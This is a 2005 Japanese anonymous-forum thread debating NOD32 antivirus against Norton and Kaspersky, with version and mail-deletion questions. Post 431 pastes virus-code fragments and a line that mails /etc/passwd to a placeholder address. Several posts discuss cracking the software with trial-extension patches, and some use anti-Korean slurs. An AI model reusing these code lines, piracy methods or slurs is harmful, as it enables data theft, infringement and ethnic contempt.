ノートンの方では全然NODを相手にしていない現実。。。

416 :名無しさん@お腹いっぱい。:2005/12/17(土) 05:59:39
いや全然ノートンは気にならんよ。
そもそも、NOD32はノートンを含めた極普通のアンチウィルスソフトとは開発思想も違うしな。

417 :名無しさん@お腹いっぱい。:2005/12/17(土) 08:16:43
>>415
カスペに対してもそうだよな。
メジャーなものに噛み付いて存在感をアピールしようとするが
裏付けとなるものが皆無なので失笑されて終わり。
NOD厨はウリナラ起源と同じ精神構造だ。

418 :名無しさん@お腹いっぱい。:2005/12/17(土) 08:24:10
噛み付いてきているのはKaspersky側なんだよな。
もちろん例外として荒らしの星猫の行動があるのだけど、あれは元々荒らしだから。

下記のところでも常に噛み付いているのはKaspersky側な。
> ttp://www.wilderssecurity.com/forumdisplay.php?f=32

419 :名無しさん@お腹いっぱい。:2005/12/17(土) 08:31:33
他所を荒らしまくって抗議されると
ココを荒らすな!アンチ消えろ!とファビョるのは
どこのNOD厨も同じなのか。。。
まさに鮮人メンタリティ

420 :名無しさん@お腹いっぱい。:2005/12/17(土) 08:49:20
ここに昔から居着いている荒らしの自演自作だからそんなこと言われても困るよ。
あれほど分かり易い自演も珍しいけど、そんな幼稚な自演を盾にして>>419のように
自演を繰り返すのは見ていて滑稽でしかないなw

421 :名無しさん@お腹いっぱい。:2005/12/17(土) 08:54:59
信者でさえ金を出して買わずに
割っているという稀有なソフトw

422 :名無しさん@お腹いっぱい。:2005/12/17(土) 09:32:36
相変わらず進歩のない煽りだなぁw

423 :名無しさん@お腹いっぱい。:2005/12/17(土) 09:35:39
無料で使えるのに金を出す馬(^w

424 :名無しさん@お腹いっぱい。:2005/12/17(土) 09:37:14
梶田いい加減にしろ

425 :名無しさん@お腹いっぱい。:2005/12/17(土) 10:11:26
正直、割ってるヤツは逮捕も怖くないヤツだけだろ。まともな人は買ってる。

426 :名無しさん@お腹いっぱい。:2005/12/17(土) 10:29:07
折角外人がパッチ作って公開してくれてるんだから使ってやらなきゃカワイソス
どうせ捕まるのは外人w

427 :名無しさん@お腹いっぱい。:2005/12/17(土) 10:48:18
釣れないなぁ・・・・

428 :名無しさん@お腹いっぱい。:2005/12/17(土) 11:07:40
>>412
同意。
使用期限がいくらでも延ばせる、ノートンはまったく信用できない。

429 :名無しさん@お腹いっぱい。:2005/12/17(土) 12:19:03
ノートンも割れで十分アクチもできた

430 :名無しさん@お腹いっぱい。:2005/12/17(土) 13:00:32
405はやっと巣に帰ってきたんだね。もう出てくるなよ。他のスレに迷惑だ。

431 :名無しさん@お腹いっぱい。:2005/12/17(土) 13:38:59
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
ms-its:mhtml:file://c:\ 
kak.hta';ken=wd+'START
cat /etc/passwd | mail nobody@nonexistent.com


432 :名無しさん@お腹いっぱい。:2005/12/17(土) 13:43:46
(^ω^)

433 :名無しさん@お腹いっぱい。:2005/12/17(土) 16:45:27
http://pc8.2ch.net/test/read.cgi/sec/1134218158/

このスレによるとNOD32が一番多くウイルスを駆除したそうだ。
他のアンチウイルスなんかNOD32の足元にも及ばないな。
さすがは最強のアンチウイルスだな。

434 :名無しさん@お腹いっぱい。:2005/12/17(土) 18:10:33
>>433
ハメ技かよ。読んでみたらNOD全然ダメな結果じゃないか。AVGに負けてんじゃん。

435 :名無しさん@お腹いっぱい。:2005/12/17(土) 18:11:50
あんなの模造に決まってるじゃん。鵜呑みにすんな池沼

436 :名無しさん@お腹いっぱい。:2005/12/17(土) 18:24:44
NODほすぃー

437 :名無しさん@お腹いっぱい。:2005/12/17(土) 18:31:46
NODは言うほど検出率が高くは無い
いろいろなtestsで実証済み

438 :名無しさん@お腹いっぱい。:2005/12/17(土) 18:40:21
ぴかちゅー!ぼくage厨!

439 :名無しさん@お腹いっぱい。:2005/12/17(土) 19:07:49
また梶田か

440 :名無しさん@お腹いっぱい。:2005/12/17(土) 20:10:59
信者れ の検索結果のうち 日本語のページ 約 19 件中 1 - 10 件目 (0.45 秒)

441 :名無しさん@お腹いっぱい。:2005/12/17(土) 23:30:55
盛ってますね(藁)

442 :名無しさん@お腹いっぱい。:2005/12/17(土) 23:36:46
すいません
ESET NOD32 v2.50.41
って出てるんだけど....
ESET本家見ると、まだ2.50.25になってる
ガセかなんかですかね?

443 :名無しさん@お腹いっぱい。:2005/12/17(土) 23:57:29
うちのNOD32はv2.50.42ですが。

444 :名無しさん@お腹いっぱい。:2005/12/18(日) 00:07:21
>>443
それCANON、ESETどっちですか?


445 :名無しさん@お腹いっぱい。:2005/12/18(日) 00:19:19
NOD32の情報
バージョン:1.1327 (20051217)
日付:2005年12月17日
ウイルス定義ファイルビルド:6468

他のスキャナサポートに関する情報
アドバンスドヒューリスティックバージョン:1.023 (20051109)
アドバンスドヒューリスティックビルド:1094
インターネットフィルタ バージョン:1.002 (20040708)
インターネットフィルタ ビルド:1013
アーカイブサポートバージョン:1.038 (20051212)
アーカイブサポートビルド:1140

インストールされたコンポーネントの情報
NOD32 for Windows NT/2000/XP/2003 - ベース
バージョン:2.50.42
NOD32 for Windows NT/2000/XP/2003 - インターネットサポート
バージョン:2.50.42
NOD32 for Windows NT/2000/XP/2003 - 標準コンポーネント
バージョン:2.50.42

CANON

446 :名無しさん@お腹いっぱい。:2005/12/18(日) 00:20:11
ああ、うちも2.50.42だね。キャノンだよ。

447 :442:2005/12/18(日) 00:34:46
>>445-446
わかりました、ありがとう
ESETの方の最新は2.50.41でいいみたいですね
ちょっと混乱してました





448 :名無しさん@お腹いっぱい。:2005/12/18(日) 01:05:35
因みに漏れはWin98系だから

バージョン2.50.44

OSによって違うんだなw

449 :名無しさん@お腹いっぱい。:2005/12/18(日) 01:19:37
言語によっても違う

450 :名無しさん@お腹いっぱい。:2005/12/18(日) 07:34:39
新スレ立った〜♪

【ウンコ男爵】名古屋の荒し屋Q 別名○ 10【GJ】
http://tmp5.2ch.net/test/read.cgi/tubo/1134856761/

451 :名無しさん@お腹いっぱい。:2005/12/18(日) 09:59:05
本家サイトから本体DL出来ても、シリアルナンバーを送らないとPASS貰えないじゃん?

452 :名無しさん@お腹いっぱい。:2005/12/18(日) 10:03:05
NODってどこがいいの?
マジレスきぼん

453 :名無しさん@お腹いっぱい。:2005/12/18(日) 10:07:39
軽い。

454 :名無しさん@お腹いっぱい。:2005/12/18(日) 10:14:46
>>453
V3より軽い?

455 :名無しさん@お腹いっぱい。:2005/12/18(日) 10:21:43
どうだろ、V3使ったことない。

456 :名無しさん@お腹いっぱい。:2005/12/18(日) 10:29:56
似たようなもん。あんま変わらん

457 :名無しさん@お腹いっぱい。:2005/12/18(日) 10:30:24
じゃあV3でいいじゃん

458 :名無しさん@お腹いっぱい。:2005/12/18(日) 10:47:57
割って使ってたらいきなり期限が切れた((;゚Д゚)
製品版買えっていう啓示か? 


459 :名無しさん@お腹いっぱい。:2005/12/18(日) 10:48:51
買えよ。

460 :名無しさん@お腹いっぱい。:2005/12/18(日) 10:56:48
V3並みに軽いのにノートンに匹敵する検知力、それがNOD32。

461 :名無しさん@お腹いっぱい。:2005/12/18(日) 11:13:35
買おうと思ってヨド行ったら高くて断念・・・
ほかの無料でつなごうか思い切って買おうか・・・

462 :名無しさん@お腹いっぱい。:2005/12/18(日) 11:16:29
ダウンロード版はどうよ?

463 :名無しさん@お腹いっぱい。:2005/12/18(日) 11:17:02
>>461
俺もホイホイ買うほうじゃないけど、性能に満足してれば買うのもいいもんだよ。
堂々と使えるしw

464 :名無しさん@お腹いっぱい。:2005/12/18(日) 11:20:26
うん、まぁ性能には満足してるんだ。
明日にでも買おうかな

465 :名無しさん@お腹いっぱい。:2005/12/18(日) 11:23:29
>>462
ダウンロードしたやつをパッチあてて使ってたんだ (´Д⊂
あぁ財布がまた寂しく・・

466 :名無しさん@お腹いっぱい。:2005/12/18(日) 11:24:07
>461
店頭だと高かったからダウンロード版を買いましたよ。
1000円くらい安いはず。

467 :名無しさん@お腹いっぱい。:2005/12/18(日) 11:32:20
4kでした(・∀・)
申し込んできます!

468 :名無しさん@お腹いっぱい。:2005/12/18(日) 11:34:35
NODてスパイウエア弱いね
アド哀れで検索したら大量に発見したよw

469 :名無しさん@お腹いっぱい。:2005/12/18(日) 11:42:09
よかったねー、ボウヤ

470 :名無しさん@お腹いっぱい。:2005/12/18(日) 11:47:10
アド哀れてウイルス弱いね
NODで検索したら大量に発見したよw

471 :名無しさん@お腹いっぱい。:2005/12/18(日) 11:50:01
>>470
アンチウイルスじゃないんだから検出できるわけないじゃん
対してNODは『アンチスパイの機能もある』って言ってるわけだ
違いくらいは馬鹿でも解る罠

472 :名無しさん@お腹いっぱい。:2005/12/18(日) 12:45:25
NOD32とカスペルキーはどっちがいいですか?
検出率をみるとカスペルキーが優秀ですがどうですか?

473 :名無しさん@お腹いっぱい。:2005/12/18(日) 12:47:10
>>472
好きなほうでいいと思うよ

474 :名無しさん@お腹いっぱい。:2005/12/18(日) 13:26:23
>>450
乙。

475 :名無しさん@お腹いっぱい。:2005/12/18(日) 14:55:56
>>472
> 検出率をみるとカスペルキーが優秀ですがどうですか?
>>3
>>4

実際の防衛力は同じかNOD32のほうが少し高い。
Kasperskyがよい評価になっているサィトが多いのは検体が未整備なのと圧縮書庫が多くオンデマンドで
NOD32に不利だから。
Kasperskyは多くの書庫とインストーラ型を検知するからNOD32よりよい成績に見えるだけ。

476 :名無しさん@お腹いっぱい。:2005/12/18(日) 16:18:07
( -人-)ナムー

477 :名無しさん@お腹いっぱい。:2005/12/18(日) 16:20:08
  ∧_∧ クワッ!
 ∩`iWi´∩ 
 ヽ |m| .ノ
  |. ̄|
  U⌒U

478 :名無しさん@お腹いっぱい。:2005/12/18(日) 16:20:17
他のウイルス対策ソフトがこぞって見逃す亜種も、
NODのヒューリスティックでちゃんと検出できるね。
購入して大正解だったよ。

ここまで買って良かったと思えるソフトは初めてだ。

479 :名無しさん@お腹いっぱい。:2005/12/18(日) 16:25:02
見っ直そう〜 見直そう

 (⌒) .(⌒)   (⌒) .(⌒)   (⌒) .(⌒)  
 ( ´・●・)つ ( ´・●・)つ ( ´・●・)つ
 ( 二つ    ( 二つ    ( 二つ
  \./ /、    \./ /、    \./ /、
    ∪`J      ∪`J      ∪`J

 >>478の人生を見直そう 糞レス書かずに見直そう (サァ)
 く、そレスだ 糞レスだ

\\ シャバダバダバダバダバダバー    //
  \\ シャバダバダバダバダバダバー //

   (⌒) .(⌒)   (⌒) .(⌒)   (⌒) .(⌒)  
   ( ´・д・.】)  ( ´・д・.】)  ( ´・∀・.】)<あ、もしもし>>478の糞レスの件なんですが
   (     ノ  (     ノ  (     ノ

 ♪電話ピポパポ 糞スレ24

480 :名無しさん@お腹いっぱい。:2005/12/18(日) 16:25:33
(((´・ω・`)

481 :名無しさん@お腹いっぱい。:2005/12/18(日) 16:27:49
(゚∀゚)アヒャ

482 :名無しさん@お腹いっぱい。:2005/12/18(日) 16:28:45
                                 、
                              ζ  ,
                               _ ノ
                             ( (   (. )
                            . -‐ ) ‐- .
                          .´,.::::;;:... . . _  `.
                          i ヾ<:;_   _,.ン |
                          l      ̄...:;:彡|
                               }  . . ...::::;:;;;;;彡{
                          i   . . ...:::;;;;;彡|
           ,: ' " `丶        .    }   . .....:::;::;:;;;;彡{
          , :´  .   `、          !,    . .:.::;:;;;彡j:::::::::::::::.......
.         . '  .    ; .丶         ト ,  . ..,:;:;:=:彳:::::::::::::::::::::::::::..
.        ,:´ .    '    ' `、        ヽ、.. ....::::;;;ジ.::::::::::::::::::::::
       ,'    . 簍J鶸鑼  ; `.           ̄ ̄
   ,, -'''" .   .  駲刪櫑躪  . ' ';゛`'丶.、.......
.  '´     !    . 膚順棚斷. ' , ;::::::::::::...`.::::::::....
 i       ヽ、..._,.__魎鬱蹠撫.,,__,.,..ノ.:::::::::   !::::::::::::...
. ヽ、                      ,: '.:::::::::
    `=ー--、....,,,,,______,,,,,... --‐=''´..::::::
      ``" '' 'ー───‐―‐' ''' "´

483 :名無しさん@お腹いっぱい。:2005/12/18(日) 16:36:27
(´・ω・`)ショボーン

484 :名無しさん@お腹いっぱい。:2005/12/18(日) 16:52:52
>>475
さっきカスペルスキー アンチウイルス5 特別優待版をAmazonに発注したよ(3,862円)
KAV6.0のベータ版の性能がNOD32に匹敵するようなので、それの確認とKAVとNOD32の比較が目的。
とはいえ、NOD32は俺のお気に入りだからずっとメインで使い続けるけどな。

485 :名無しさん@お腹いっぱい。:2005/12/18(日) 17:00:29
>>484
比較の結果報告是非よろしく

486 :名無しさん@お腹いっぱい。:2005/12/18(日) 17:05:39
ヒィー(((゚Д゚)))ガタガタ

487 :名無しさん@お腹いっぱい。:2005/12/18(日) 17:09:03
NODはシグネチャの配布が遅いから全然だめ


488 :名無しさん@お腹いっぱい。:2005/12/18(日) 17:35:23
>>485
あいよ、KAV6.0はベータ版だからまだ不具合あると思うけどやってみるよ。
使用感とか軽さやスキャナ速度と対象となる件数(特にサブストリームの扱いの違いでの件数差)を比較する予定だよ。
検出性能は比較対象外になるけどこれは信頼性の高いサイトの結果待ちな。

489 :名無しさん@お腹いっぱい。:2005/12/18(日) 17:37:08
自作自演ですか

490 :名無しさん@お腹いっぱい。:2005/12/18(日) 17:50:45
>>488
まあ楽しみにしてるよ。がんばれ

491 :age:2005/12/18(日) 18:11:46
age

492 :名無しさん@お腹いっぱい。:2005/12/18(日) 19:12:29
>>488
でもここには自治厨という粘着がいて
他のソフトとの比較をしたり、他のソフトの話を持ち出すだけで
限りなく粘着してくるので注意。
いってみればこのセキュ板を荒らしまくっている張本人だ。

俺もNODとKAVの比較は参考にしたいが
自治厨がいきなり飛び出し自演しまくりで荒れるだろうな。


493 :名無しさん@お腹いっぱい。:2005/12/18(日) 19:24:25
というノートン厨の自演でした!

494 :名無しさん@お腹いっぱい。:2005/12/18(日) 19:44:58
              〜    
    バサッー バサッー
   ◇       ミ ◇
   ◇◇   / ̄|  ◇◇
 ◇◇ \  |__| ◇◇
    彡 O(,,゚Д゚) /    祓いたまえー 清めたまえー
       (  P `O
      /彡#_|ミ\
       </」_|凵_ゝ

495 :名無しさん@お腹いっぱい。:2005/12/18(日) 19:47:34
>>492
自治厨ってなに?
このスレを見ると、粘着して荒らし続けている奴がいるのは直ぐに分かった。
そいつが自治厨か?
自演自作で荒らし、NOD32のユーザーを騙って他のスレを荒らして回ったりしている奴だろ。

496 :名無しさん@お腹いっぱい。:2005/12/18(日) 19:49:04
板中を荒らしているノートン厨が許せないよ!

497 :名無しさん@お腹いっぱい。:2005/12/18(日) 19:49:51
>>495
漏れもNODユーザーが無実だって、すぐ分かったよ。

498 :名無しさん@お腹いっぱい。:2005/12/18(日) 20:00:10
延長パッチ配布サイト、いまならアクセスできるみたいね。
日曜日だけやってるのかな?
ポルトガル語なんでなんて書いてあるか分からんがな。

499 :名無しさん@お腹いっぱい。:2005/12/18(日) 20:41:41
釣れませんね

500 :名無しさん@お腹いっぱい。:2005/12/18(日) 21:03:50
なんでパッチ使うのか理解できない。自分でレジストリ書き換えた方が安心だろ。

501 :名無しさん@お腹いっぱい。:2005/12/18(日) 21:14:29
割れ話はよそでやれやクズ

502 :名無しさん@お腹いっぱい。:2005/12/18(日) 21:19:29
>>500
いや、正規に購入するのが精神を含めて一番健全だ。
それが出来ぬのなら、NOD32を諦めてフリーの奴でも使っておけ。

503 :名無しさん@お腹いっぱい。:2005/12/18(日) 21:32:52
>>502
それNODに限った話じゃねーけどな。

504 :名無しさん@お腹いっぱい。:2005/12/18(日) 21:35:06
有料製品であるノッドサンツーをタダで使うことに意味があるんだよ。

505 :名無しさん@お腹いっぱい。:2005/12/18(日) 21:40:30
(((( ;゚Д゚)))ガクガクブルブル

506 :名無しさん@お腹いっぱい。:2005/12/18(日) 21:42:33


507 :名無しさん@お腹いっぱい。:2005/12/18(日) 21:43:06
ヽ(`Д´)ノ

508 :名無しさん@お腹いっぱい。:2005/12/18(日) 21:45:20
みんなでがんばってNOD32を支えていこう!

509 :名無しさん@お腹いっぱい。:2005/12/18(日) 21:47:13
> 有料製品であるノッドサンツーをタダで使うことに意味があるんだよ。

どんな意味だ?
火遊びをして興奮しているってことか?

510 :名無しさん@お腹いっぱい。:2005/12/18(日) 21:47:51
>>504
逮捕されちまえ

511 :名無しさん@お腹いっぱい。:2005/12/18(日) 22:15:44
>>509
全然違うよ。単純に財布浮くじゃん。てかそんなことも理解できないのか?
火遊びしても何にも残らねーじゃん。馬鹿?

512 :名無しさん@お腹いっぱい。:2005/12/18(日) 22:16:52
http://pc8.2ch.net/test/read.cgi/pcnews/1125906467/139n
これって直ってる?
thunderbird使ってるから不安なんだけど。

513 :名無しさん@お腹いっぱい。:2005/12/18(日) 22:24:45
,、_,、
l ゚(・)゚lクマ─!!
lづ"/)
.l/),,)

514 :名無しさん@お腹いっぱい。:2005/12/18(日) 22:25:42
ここで聞いてもまともな回答が来るわけないだろw

515 :名無しさん@お腹いっぱい。:2005/12/18(日) 22:27:15
↑おまえがバカなだけだろ

516 :名無しさん@お腹いっぱい。:2005/12/18(日) 22:30:01
>>512
ネットワークプリンタ(LPR指定)の問題は解決していないよ。
というか、Eset社は対応する気全くない、Raw指定に変えればOKだからね。

517 :名無しさん@お腹いっぱい。:2005/12/18(日) 22:34:19
515がバカなだけだそうです。

518 :名無しさん@お腹いっぱい。:2005/12/18(日) 22:46:26

  /■\
  ( ´∀`) おにぎり
  (つ つ
___∧__________

さすがバッカー

519 :名無しさん@お腹いっぱい。:2005/12/18(日) 23:01:06
>>516
> たくさんの受信メールを一つのファイルにまとめてるソフト(outlookとか)では
> 受信メールの中に一つでもウイルスメールがあると
> そのファイルごと消しちゃうらしい
これの話。

520 :名無しさん@お腹いっぱい。:2005/12/18(日) 23:13:21
><

521 :名無しさん@お腹いっぱい。:2005/12/18(日) 23:15:39
>>5
あ、テンプレにあるのね。

522 :名無しさん@お腹いっぱい。:2005/12/18(日) 23:16:30
  ┃┃¨╋┓┃┃¨╋┓┃┃¨╋┓┃┃¨╋┓

523 :名無しさん@お腹いっぱい。:2005/12/18(日) 23:21:20
>>519
それ戯言。

524 :名無しさん@お腹いっぱい。:2005/12/18(日) 23:26:15
>>523

いつからF-Secureが「アンチスパイ専門ソフト」になったんだ?
教えてくれ。


「アンチスパイ専門ソフト」と「総合セキュリティ(アンチスパイウェア含む)製品」が
同じわけないだろw

525 :名無しさん@お腹いっぱい。:2005/12/18(日) 23:32:26
フォルダを消去したら、中に保管していたファイルが全て消えてしまった。
この仕様は糞だな、と騒いでいる奴の為に下記は存在する。
そんな奴も世の中にはいるからサポートは大変だ。

> ttp://canon-sol.jp/supp/nd/wndt7003.html

526 :名無しさん@お腹いっぱい。:2005/12/18(日) 23:37:10
>>525
本気で言っているとしたらかなりのもんだ

527 :名無しさん@お腹いっぱい。:2005/12/18(日) 23:39:52
>>525
コントロールセンターからの詳細な検査では、消えない?

528 :名無しさん@お腹いっぱい。:2005/12/18(日) 23:42:07
まあ525も知ったか言ってるだけだから気にすんな

529 :名無しさん@お腹いっぱい。:2005/12/18(日) 23:46:05
>>527
デフォルト値だと何をやっても消えない。
仕様を理解せずに、無茶な設定をして無茶な操作をおこなった結果で起こる喜劇。
そりゃもう恥ずかしいだけでしょう。

530 :名無しさん@お腹いっぱい。:2005/12/18(日) 23:54:08
>>529
OEやOutlookだけじゃなく、thunderbirdでも大丈夫?
thunderbirdの場合、拡張子はないんだけど。

531 :名無しさん@お腹いっぱい。:2005/12/18(日) 23:56:45
知ったか君ピ〜ンチ!!!

532 :名無しさん@お腹いっぱい。:2005/12/18(日) 23:57:02
ttp://kb.mozillazine.org/Thunderbird_:_FAQs_:_Anti-virus_Software
大丈夫って書いてあるって事は何の問題もないのかな。

533 :名無しさん@お腹いっぱい。:2005/12/18(日) 23:57:16
>>530
デフォ設定ではメールのスキャンなんて、
やらないようになっているから安心だよ。

534 :名無しさん@お腹いっぱい。:2005/12/18(日) 23:59:41
( ゚д゚) ・・・
 
(つд⊂)ゴシゴシ
 
(;゚д゚) ・・・
 
(つд⊂)ゴシゴシゴシ
  _, ._
(;゚ Д゚)!?

535 :名無しさん@お腹いっぱい。:2005/12/19(月) 00:00:18
雷鳥の受信メールBOXにウイルス付きのメールが一通でもあったら、メールBOXごと消される仕様ですね。

536 :名無しさん@お腹いっぱい。:2005/12/19(月) 00:01:24
>>533
なるほー。
それで「デフォルト値だと何をやっても消えない。」となるのね。

537 :名無しさん@お腹いっぱい。:2005/12/19(月) 00:03:03
>>535
笑える素敵な仕様ですな。
NODの方がウイルスより性質が悪い。

538 :名無しさん@お腹いっぱい。:2005/12/19(月) 00:06:54
thunderbirdのzip版を使ってプロファイルはDドライブに置いたりしてデフォルト設定じゃないので不安。
ttp://kiyo.chips.jp/blog/archives/2005/09/nod32ver25.html#more
一応、受信で検知した物についてはこうなるみたいだが。

539 :名無しさん@お腹いっぱい。:2005/12/19(月) 00:07:29
>>530
全然問題ない。

540 :名無しさん@お腹いっぱい。:2005/12/19(月) 00:08:21
>>537
>>525を君に送ろう。

541 :名無しさん@お腹いっぱい。:2005/12/19(月) 00:08:46
なんとかしてNODを叩きたい粘着がひとりふたりいらっしゃるようですな。

542 :名無しさん@お腹いっぱい。:2005/12/19(月) 00:12:21
164 名前:最低人類0号[sage] 投稿日:2005/12/18(日) 12:40:00 ID:24Qz+Vgl
24時間2chの生活パターンといい、歪みきった粘着質な人格といい、
人並みに働いてるとはとうてい思えんしな。
そんなカネないだろ。

165 名前:最低人類0号[sage] 投稿日:2005/12/18(日) 14:36:11 ID:wesJAvEk
>>164
まるで梶田だなw

166 名前:最低人類0号[sage] 投稿日:2005/12/18(日) 15:05:26 ID:vSybwHMg
>278 名前:Socket774 投稿日:2005/12/18(日) 01:37:04 ID:e4TwXveh
>誰も使ってないPenDのことが気になってしかたがないアム厨。

…。

167 名前:最低人類0号[sage] 投稿日:2005/12/19(月) 00:06:02 ID:kqFZlVkB
>>164
雑音在日説が正しければカネはあまり問題ない。
連中は生活保護を申請するとかなりあっさり通るらしいし。
月に17万ほど貰えて、家賃も5万くらいまでなら全額補助してもらえるから
下手な新卒ホヤホヤのリーマンよりいい暮らしができる。
日がな一日ネット三昧でも食うに困ることは無いな

543 :名無しさん@お腹いっぱい。:2005/12/19(月) 00:13:05
雑音名無しで活動乙

544 :名無しさん@お腹いっぱい。:2005/12/19(月) 00:13:37
ホレ(゚Д゚)ノ⌒

545 :名無しさん@お腹いっぱい。:2005/12/19(月) 00:14:02
>>536
デフォ値じゃ拡張子なしのファイルは除外だし

546 :名無しさん@お腹いっぱい。:2005/12/19(月) 00:14:52
>>538
そんなに気になるのならテストしなよ。
下記から擬似ウィルスをダウンロードして自分宛にメールしthunderbirdで取り込んでからやってみろって。

> ttp://www.trendmicro.co.jp/download/test-virus.asp

547 :名無しさん@お腹いっぱい。:2005/12/19(月) 00:15:33
IMONがカットしちゃいそうだな

548 :名無しさん@お腹いっぱい。:2005/12/19(月) 00:17:17
その程度の気も回らない奴が、設定変更するなど論外。

549 :名無しさん@お腹いっぱい。:2005/12/19(月) 00:18:29
>>547
テストする環境すら理解できない奴ってお前のことを言うのだろうな。
この調子だと、538もバックアップすらせず間違ったテストをした挙句に文句を言ってきそうだなw

550 :名無しさん@お腹いっぱい。:2005/12/19(月) 00:19:21
駄駄駄駄駄糞駄駄駄駄駄駄駄駄糞糞糞駄駄駄駄駄駄駄駄駄
駄駄駄駄駄■■糞駄駄駄駄駄駄糞■糞駄駄駄駄駄駄駄駄駄
駄駄駄駄糞■■駄駄駄駄駄駄駄■■糞駄駄駄駄駄駄駄駄駄
駄駄駄糞■■糞駄駄駄駄駄駄糞■■糞糞糞糞■■糞駄駄駄
駄駄駄■■■駄駄糞糞駄駄駄糞■■■■■■■■■糞駄駄
駄糞糞■■糞駄糞■■糞駄糞■■糞糞糞糞糞■■■駄駄駄
糞■■■■糞糞■■糞駄駄糞■■■駄駄駄糞■■糞駄駄駄
糞■■■■糞糞■糞駄駄糞■■糞■糞駄糞■■■駄駄駄駄
駄糞■■■■■■糞駄糞■■糞糞■■糞■■■糞駄駄駄駄
駄駄糞■■■■糞糞駄糞■糞駄駄糞■■■■糞駄駄駄駄駄
駄駄駄糞■■糞糞■糞駄糞駄駄駄駄糞■■■駄駄駄駄駄駄
駄駄駄糞■■駄駄■■糞駄駄駄駄駄糞■■糞糞駄駄駄駄駄
糞糞糞■■■糞■■■■糞駄駄糞糞■■■■■糞駄駄駄駄
■■■■■■■■糞■■糞糞■■■■糞■■■■■■糞糞
■■糞糞糞■■駄駄糞糞■■■■糞糞駄駄糞■■■■■糞
糞糞糞駄駄■■駄糞糞糞■■■糞糞■糞糞糞糞■■■■糞
駄■■■糞■■糞■■糞■■糞駄糞■■■■糞糞糞糞糞駄
駄■■■糞■■糞■■糞糞糞駄駄糞■■■■■■糞駄駄駄
駄■■■糞■■駄糞■■駄駄駄駄駄糞糞■■■■糞駄駄駄
糞■■■駄■■駄糞■■糞駄駄糞駄駄駄糞■■糞駄駄駄駄
糞■■■駄■■駄糞■■糞駄糞■■糞糞糞駄駄駄駄駄駄駄
糞■■糞駄■■駄駄■■糞駄糞■■■■■糞糞駄駄駄駄駄
糞■■糞駄■■糞駄糞糞駄駄糞■■■■■■■■糞糞駄駄
糞■■糞駄■■糞駄駄駄駄駄駄糞糞■■■■■■■糞駄駄
駄駄駄駄駄■■糞駄駄駄駄駄駄駄駄駄糞■■■■■糞駄駄
駄駄駄駄駄■■糞駄駄駄駄駄駄駄駄駄駄駄糞糞糞糞駄駄駄

551 :名無しさん@お腹いっぱい。:2005/12/19(月) 00:22:59
検出した時のアクションを、「削除」以外の「隔離」やアクションを選択などにしておくだけのこと。
NODを使ってない俺ですら判ることを・・・

552 :名無しさん@お腹いっぱい。:2005/12/19(月) 00:23:26
>>551
ここで何をしてるんだ?

553 :名無しさん@お腹いっぱい。:2005/12/19(月) 00:25:03
導入検討だが

554 :名無しさん@お腹いっぱい。:2005/12/19(月) 00:28:01
デフォ値で使う奴は馬鹿だと言ってみたりデフォ値では消えないと言ってみたり・・・。

555 :名無しさん@お腹いっぱい。:2005/12/19(月) 00:33:02
> デフォ値で使う奴は馬鹿だと言ってみたり
そんなバカなことを言うのは荒らしだけです。
NOD32のデフォルト値は非常によく考えられた設定となっています。

この設定値だとザルとか言っているのは無知な奴だけ。

> デフォ値では消えないと言ってみたり
当然消えません。

556 :名無しさん@お腹いっぱい。:2005/12/19(月) 00:35:51
>>554
>デフォ値で使う奴は馬鹿だ
そりゃNAVの話だ

557 :名無しさん@お腹いっぱい。:2005/12/19(月) 01:10:07
ポイントはこれだな。

仕様を理解せずに設定値を変えて、妄想していたことと違う動作をしたことに文句をいう。

誰がバカなのかは一目瞭然だよなw

558 :名無しさん@お腹いっぱい。:2005/12/19(月) 01:12:10
何年間も導入検討状態で、体験版使い続けてんじゃねえよ。
藻前ら、いい加減に金を払って使え。

559 :名無しさん@お腹いっぱい。:2005/12/19(月) 01:13:21
とっくに金払って使い続けているのだが・・・
購入済みライセンス数は4つ。

560 :名無しさん@お腹いっぱい。:2005/12/19(月) 01:16:16
>>558

>>91-92

561 :名無しさん@お腹いっぱい。:2005/12/19(月) 01:17:11
その代わりに宣伝してやってる

562 :名無しさん@お腹いっぱい。:2005/12/19(月) 01:17:43
NOD32の開発思考が少しだけ分かるから読んでおけ >> バカな荒らし君
> ttp://www.wilderssecurity.com/showthread.php?t=110884


563 :名無しさん@お腹いっぱい。:2005/12/19(月) 01:17:54
>>561
それでいいんじゃない。問題なし。

564 :名無しさん@お腹いっぱい。:2005/12/19(月) 01:20:36
( ゚Д゚)ポカーン

565 :名無しさん@お腹いっぱい。:2005/12/19(月) 01:23:40
558,560,561,563

これ荒らしの自演だろ?

566 :名無しさん@お腹いっぱい。:2005/12/19(月) 01:32:56
金を払わないってヤツは前から何度か見かけている。
たまに割る方法を得意気に書くバカもいる。
聞くバカもいたし。

567 :名無しさん@お腹いっぱい。:2005/12/19(月) 02:20:50
スパイウェアやアドウェアも難なく検出するね(^_^)

568 :名無しさん@お腹いっぱい。:2005/12/19(月) 02:39:16
今度は、ほめ殺し?
NOD32はアンチウィルスソフト、スパイウェアやアドウェアも検出されるような拡張がされたことは事実であり
ソフトウェアの工業認定とも言えるCheckmarkも専用のそれを取得することで一定水準の性能は保証されている。
だが、そこまでのこと。
スパイウェア専門ソフトと比べれば検出はずっと穏やかであり邪魔にならぬ程度に抑制されている。
これを違う言葉に置き換えれば、潔癖症な人やスパイウェアに拘る人からすると物足りないものでしかない。

ほめ殺しを仕掛けるにしても、もう少し賢く頼むよ。

569 :名無しさん@お腹いっぱい。:2005/12/19(月) 02:51:06
>>567-568 自演乙

570 :名無しさん@お腹いっぱい。:2005/12/19(月) 02:58:31
>>568
一体何がお前にそこまで内容のない長文を書かせるのだ?

571 :名無しさん@お腹いっぱい。:2005/12/19(月) 03:12:23
俺には分からん。
